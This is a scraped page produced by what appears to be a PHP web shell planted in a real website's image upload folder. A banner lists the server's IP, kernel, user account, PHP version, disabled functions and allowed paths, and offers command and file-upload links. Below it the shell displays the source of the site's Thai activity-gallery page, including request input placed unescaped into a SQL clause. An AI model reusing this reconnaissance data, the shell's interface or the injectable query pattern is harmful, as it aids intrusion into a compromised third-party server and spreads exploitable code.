|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/fonts/../admin/../revolution/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="keywords" content="<?php echo $config[web_keywords];?>" />
<meta name="description" content="<?php echo $config[web_description];?>" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<title><?php echo $config['web_title'];?></title>
<!-- favicon icon -->
<link rel="shortcut icon" href="images/<?php echo $config[web_icon];?>" />
<!-- bootstrap -->
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"/>
<!-- animate -->
<link rel="stylesheet" type="text/css" href="css/animate.css"/>
<!-- owl-carousel -->
<link rel="stylesheet" type="text/css" href="css/owl.carousel.css">
<!-- fontawesome -->
<link rel="stylesheet" type="text/css" href="css/font-awesome.css"/>
<!-- themify -->
<link rel="stylesheet" type="text/css" href="css/themify-icons.css"/>
<!-- flaticon -->
<link rel="stylesheet" type="text/css" href="css/flaticon.css"/>
<!-- REVOLUTION LAYERS STYLES -->
<link rel="stylesheet" type="text/css" href="revolution/css/rs6.css">
<!-- prettyphoto -->
<link rel="stylesheet" type="text/css" href="css/prettyPhoto.css">
<!-- shortcodes -->
<link rel="stylesheet" type="text/css" href="css/shortcodes.css"/>
<!-- main -->
<link rel="stylesheet" type="text/css" href="css/main.css"/>
<!-- responsive -->
<link rel="stylesheet" type="text/css" href="css/responsive.css"/>
<!-- font -->
<link href="https://fonts.googleapis.com/css?family=Kanit" rel="stylesheet">
<style type="text/css">
body {
font-family: 'Kanit', sans-serif;
}
</style>
<!-- font -->
</head>
<?php
include ("Connections/function-sys.php");
?>
<body>
<!--page start-->
<div class="page">
<!-- preloader start -->
<div id="preloader">
<div id="status"> </div>
</div>
<!-- preloader end -->
<?php
include("header.php");
include("BannerHeader.php");
?>
<!--site-main start-->
<div class="site-main">
<!-- blog-section end -->
<section style="padding: 50px;">
<div class="container">
<div class="row">
<div class="col-md-12">
<!-- section title -->
<div class="section-title text-center with-desc clearfix">
<div class="title-header">
<h3>ภาพกิจกรรม</h5>
</div>
</div><!-- section title end -->
</div>
</div>
<!-- row -->
<div class="row">
<?php
if(empty($_REQUEST['page'])){
$page=1;
}else
{
$page=$_REQUEST['page'];
}
if(!empty($_REQUEST['TxTSeach'])){
$Where=" $Where and link.name like '%$_REQUEST[TxTSeach]%' ";
}
$sql ="select * from news where subID='0' and Approve='T' order by aDate desc,no desc,aID Desc ";
$row=$db->recCount($sql);
foreach ($db->dbSearch_Page($sql,$_REQUEST[page],$config[list4page]) as $i=>$arr) {
$arr[aDate]=ShowAllDate($arr[aDate],1);
$arr[aTitle]=htmlspecialchars($arr[aTitle]);
$arr[aName]=htmlspecialchars($arr[aName]);
echo <<<DOC
<div style="padding-top: 0px;" class="col-lg-4 ttm-history-box-wrapper"><!-- ttm-history-box-wrapper -->
<div class="ttm-history-box-border"></div><!-- ttm-history-box-border -->
<div class="ttm-history-box-details" style="min-height:230px;">
<div class="ttm-historybox-title">
<a href="ShowNews.php?id=$arr[uniqid]$arr[aID]" target="new"> <img src="admin/images/News/$arr[aImg]" class="img-thumbnail"> </a>
<strong>$arr[aName]</strong>
</div><!-- historybox-title -->
<!-- description -->
<!-- <div class="ttm-historybox-description">
<p>$arr[aTitle]</p>
</div> -->
<!-- description -->
<a class="ttm-btn ttm-btn-size-sm ttm-btn-color-skincolor btn-inline ttm-icon-btn-right mt-20" href="ShowNews.php?id=$arr[uniqid]$arr[aID]" target="new">รายละเอียด<i class="ti ti-angle-double-right"></i></a>
</div>
</div><!-- ttm-history-box-wrapper END-->
DOC;
}
if($row!=0){
echo " <HR><div style=\"width:90%;text-align: left\">";
echo $db->show_Page3($sql,$row,$config['list4page'],$page,$_SERVER[PHP_SELF],"gID=$gID");
echo "</div>";
}
?>
</div><!-- row end -->
</div>
</section>
<!-- process-section end -->
</div><!--site-main end-->
<?php include("footer.php");?>
</body>
</html>